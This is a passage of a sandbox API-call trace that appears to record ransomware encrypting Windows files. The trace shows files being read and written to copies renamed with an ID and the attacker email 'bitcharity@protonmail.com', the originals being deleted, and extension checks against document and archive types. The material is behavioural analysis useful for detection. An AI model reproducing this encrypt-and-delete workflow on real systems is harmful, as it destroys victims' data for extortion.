(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.916] lstrlenW (lpString=".dbf") returned 4 [0155.916] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.916] lstrlenW (lpString=".1cd") returned 4 [0155.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.916] lstrlenW (lpString=".jpg") returned 4 [0155.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.916] lstrlenW (lpString=".doc") returned 4 [0155.916] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.916] lstrlenW (lpString=".docx") returned 5 [0155.916] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.917] lstrlenW (lpString=".pdf") returned 4 [0155.917] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.917] lstrlenW (lpString=".xls") returned 4 [0155.917] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.917] lstrlenW (lpString=".xlsx") returned 5 [0155.917] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.917] lstrlenW (lpString=".ppt") returned 4 [0155.917] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.917] lstrlenW (lpString=".zip") returned 4 [0155.917] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.917] lstrlenW (lpString=".rar") returned 4 [0155.917] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.917] lstrlenW (lpString=".bz2") returned 4 [0155.917] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.917] lstrlenW (lpString=".7z") returned 3 [0155.917] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.917] lstrlenW (lpString=".dbf") returned 4 [0155.917] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.917] lstrlenW (lpString=".1cd") returned 4 [0155.917] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0155.917] lstrlenW (lpString=".jpg") returned 4 [0155.917] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.917] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0155.918] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0155.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0155.918] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=24768) returned 1 [0155.918] CloseHandle (hObject=0x10dc) returned 1 [0155.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0155.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0155.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0155.918] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.918] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0155.919] GetLastError () returned 0x0 [0155.919] ReadFile (hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0) Thread: id = 852 os_tid = 0x1bc4 [0128.619] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x687b40 [0128.619] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x35a0048 [0128.620] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647c60 [0128.620] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x6561b0 [0128.620] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647c00 [0128.620] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x36a8020 [0128.623] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647ba0 [0128.623] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647ba0, Size=0x20) returned 0x5e3a28 [0128.623] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647b70 [0128.623] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647b70, Size=0x20) returned 0x5e3848 [0128.624] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0128.624] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0128.624] Wow64DisableWow64FsRedirection (in: OldValue=0x2b0ff50 | out: OldValue=0x2b0ff50*=0x0) returned 1 [0128.624] lstrlenW (lpString="kernel32.dll") returned 12 [0128.624] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3a28 | out: hHeap=0x5a0000) returned 1 [0128.624] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0128.624] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3848 | out: hHeap=0x5a0000) returned 1 [0128.624] Sleep (dwMilliseconds=0x64) [0128.884] lstrcmpiW (lpString1=".cmd", lpString2=".com") returned -1 [0128.884] lstrlenW (lpString="preoobe.cmd") returned 11 [0128.884] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x104c [0129.521] GetFileSizeEx (in: hFile=0x104c, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=74) returned 1 [0129.521] CloseHandle (hObject=0x104c) returned 1 [0129.521] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0129.521] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0129.521] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x104c [0129.521] SetFilePointerEx (in: hFile=0x104c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.522] SetFilePointerEx (in: hFile=0x104c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.522] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1050 [0129.522] GetLastError () returned 0x0 [0129.522] ReadFile (in: hFile=0x104c, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x4a, lpOverlapped=0x0) returned 1 [0129.533] WriteFile (in: hFile=0x1050, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x50, lpOverlapped=0x0) returned 1 [0129.533] ReadFile (in: hFile=0x104c, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.533] WriteFile (in: hFile=0x1050, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xea, lpOverlapped=0x0) returned 1 [0129.534] SetEndOfFile (hFile=0x1050) returned 1 [0129.534] CloseHandle (hObject=0x1050) returned 1 [0129.537] SetFilePointerEx (in: hFile=0x104c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.537] SetEndOfFile (hFile=0x104c) returned 1 [0129.538] CloseHandle (hObject=0x104c) returned 1 [0129.538] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0129.538] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0129.538] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.538] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.538] lstrlenW (lpString=".doc") returned 4 [0129.538] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0129.539] lstrlenW (lpString=".docx") returned 5 [0129.539] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0129.539] lstrlenW (lpString=".pdf") returned 4 [0129.539] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0129.539] lstrlenW (lpString=".xls") returned 4 [0129.539] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0129.539] lstrlenW (lpString=".xlsx") returned 5 [0129.539] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0129.539] lstrlenW (lpString=".ppt") returned 4 [0129.539] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0129.539] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.539] lstrlenW (lpString=".zip") returned 4 [0129.539] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0129.539] lstrlenW (lpString=".rar") returned 4 [0129.539] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0129.539] lstrlenW (lpString=".bz2") returned 4 [0129.539] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0129.539] lstrlenW (lpString=".7z") returned 3 [0129.539] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0129.539] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.539] lstrlenW (lpString=".dbf") returned 4 [0129.540] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0129.540] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.540] lstrlenW (lpString=".1cd") returned 4 [0129.540] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0129.540] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.540] lstrlenW (lpString=".jpg") returned 4 [0129.540] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0129.540] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.540] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.540] lstrlenW (lpString=".doc") returned 4 [0129.540] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0129.540] lstrlenW (lpString=".docx") returned 5 [0129.540] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0129.540] lstrlenW (lpString=".pdf") returned 4 [0129.540] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0129.540] lstrlenW (lpString=".xls") returned 4 [0129.540] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0129.540] lstrlenW (lpString=".xlsx") returned 5 [0129.540] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0129.540] lstrlenW (lpString=".ppt") returned 4 [0129.540] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0129.540] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.540] lstrlenW (lpString=".zip") returned 4 [0129.540] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0129.540] lstrlenW (lpString=".rar") returned 4 [0129.540] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0129.540] lstrlenW (lpString=".bz2") returned 4 [0129.540] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0129.540] lstrlenW (lpString=".7z") returned 3 [0129.540] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0129.540] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.541] lstrlenW (lpString=".dbf") returned 4 [0129.541] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0129.541] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.541] lstrlenW (lpString=".1cd") returned 4 [0129.541] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0129.541] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0129.541] lstrlenW (lpString=".jpg") returned 4 [0129.541] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0129.541] lstrcmpiW (lpString1=".MARKER", lpString2=".com") returned 1 [0129.541] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0129.541] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x106c [0129.895] GetFileSizeEx (in: hFile=0x106c, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=0) returned 1 [0129.895] CloseHandle (hObject=0x106c) returned 1 [0129.895] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.895] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.895] lstrlenW (lpString=".doc") returned 4 [0129.895] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0129.895] lstrlenW (lpString=".docx") returned 5 [0129.895] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0129.895] lstrlenW (lpString=".pdf") returned 4 [0129.895] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0129.895] lstrlenW (lpString=".xls") returned 4 [0129.895] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0129.895] lstrlenW (lpString=".xlsx") returned 5 [0129.896] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0129.896] lstrlenW (lpString=".ppt") returned 4 [0129.896] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0129.896] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.896] lstrlenW (lpString=".zip") returned 4 [0129.896] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0129.896] lstrlenW (lpString=".rar") returned 4 [0129.896] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0129.896] lstrlenW (lpString=".bz2") returned 4 [0129.896] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0129.896] lstrlenW (lpString=".7z") returned 3 [0129.896] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0129.896] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.896] lstrlenW (lpString=".dbf") returned 4 [0129.897] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0129.897] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.897] lstrlenW (lpString=".1cd") returned 4 [0129.897] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0129.897] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.897] lstrlenW (lpString=".jpg") returned 4 [0129.897] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0129.897] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.897] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.897] lstrlenW (lpString=".doc") returned 4 [0129.897] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0129.897] lstrlenW (lpString=".docx") returned 5 [0129.897] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0129.897] lstrlenW (lpString=".pdf") returned 4 [0129.897] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0129.897] lstrlenW (lpString=".xls") returned 4 [0129.897] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0129.897] lstrlenW (lpString=".xlsx") returned 5 [0129.897] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0129.897] lstrlenW (lpString=".ppt") returned 4 [0129.897] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0129.897] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.897] lstrlenW (lpString=".zip") returned 4 [0129.897] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0129.897] lstrlenW (lpString=".rar") returned 4 [0129.897] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0129.897] lstrlenW (lpString=".bz2") returned 4 [0129.897] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0129.897] lstrlenW (lpString=".7z") returned 3 [0129.898] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0129.898] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.898] lstrlenW (lpString=".dbf") returned 4 [0129.898] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0129.898] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.898] lstrlenW (lpString=".1cd") returned 4 [0129.898] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0129.898] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0129.898] lstrlenW (lpString=".jpg") returned 4 [0129.898] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0129.898] Sleep (dwMilliseconds=0x64) [0130.199] Sleep (dwMilliseconds=0x64) [0130.405] Sleep (dwMilliseconds=0x64) [0130.532] Sleep (dwMilliseconds=0x64) [0130.650] Sleep (dwMilliseconds=0x64) [0130.805] Sleep (dwMilliseconds=0x64) [0130.917] Sleep (dwMilliseconds=0x64) [0131.274] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.274] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0131.284] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=14168) returned 1 [0131.284] CloseHandle (hObject=0x1098) returned 1 [0131.285] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0131.285] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0131.285] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.285] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0131.288] GetLastError () returned 0x0 [0131.288] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x3758, lpOverlapped=0x0) returned 1 [0131.414] WriteFile (in: hFile=0x109c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x3760, lpOverlapped=0x0) returned 1 [0131.419] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.419] WriteFile (in: hFile=0x109c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0131.420] SetEndOfFile (hFile=0x109c) returned 1 [0131.420] CloseHandle (hObject=0x109c) returned 1 [0131.421] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.421] SetEndOfFile (hFile=0x1098) returned 1 [0131.422] CloseHandle (hObject=0x1098) returned 1 [0131.422] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.422] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0131.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0131.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0131.423] lstrlenW (lpString=".doc") returned 4 [0131.423] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.423] lstrlenW (lpString=".docx") returned 5 [0131.423] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.423] lstrlenW (lpString=".pdf") returned 4 [0131.423] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.423] lstrlenW (lpString=".xls") returned 4 [0131.423] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.423] lstrlenW (lpString=".xlsx") returned 5 [0131.423] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.423] lstrlenW (lpString=".ppt") returned 4 [0131.423] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0131.423] lstrlenW (lpString=".zip") returned 4 [0131.423] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.423] lstrlenW (lpString=".rar") returned 4 [0131.423] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.423] lstrlenW (lpString=".bz2") returned 4 [0131.423] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.423] lstrlenW (lpString=".7z") returned 3 [0131.423] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0131.423] lstrlenW (lpString=".dbf") returned 4 [0131.423] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0131.423] lstrlenW (lpString=".1cd") returned 4 [0131.423] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0131.423] lstrlenW (lpString=".jpg") returned 4 [0131.423] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0131.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 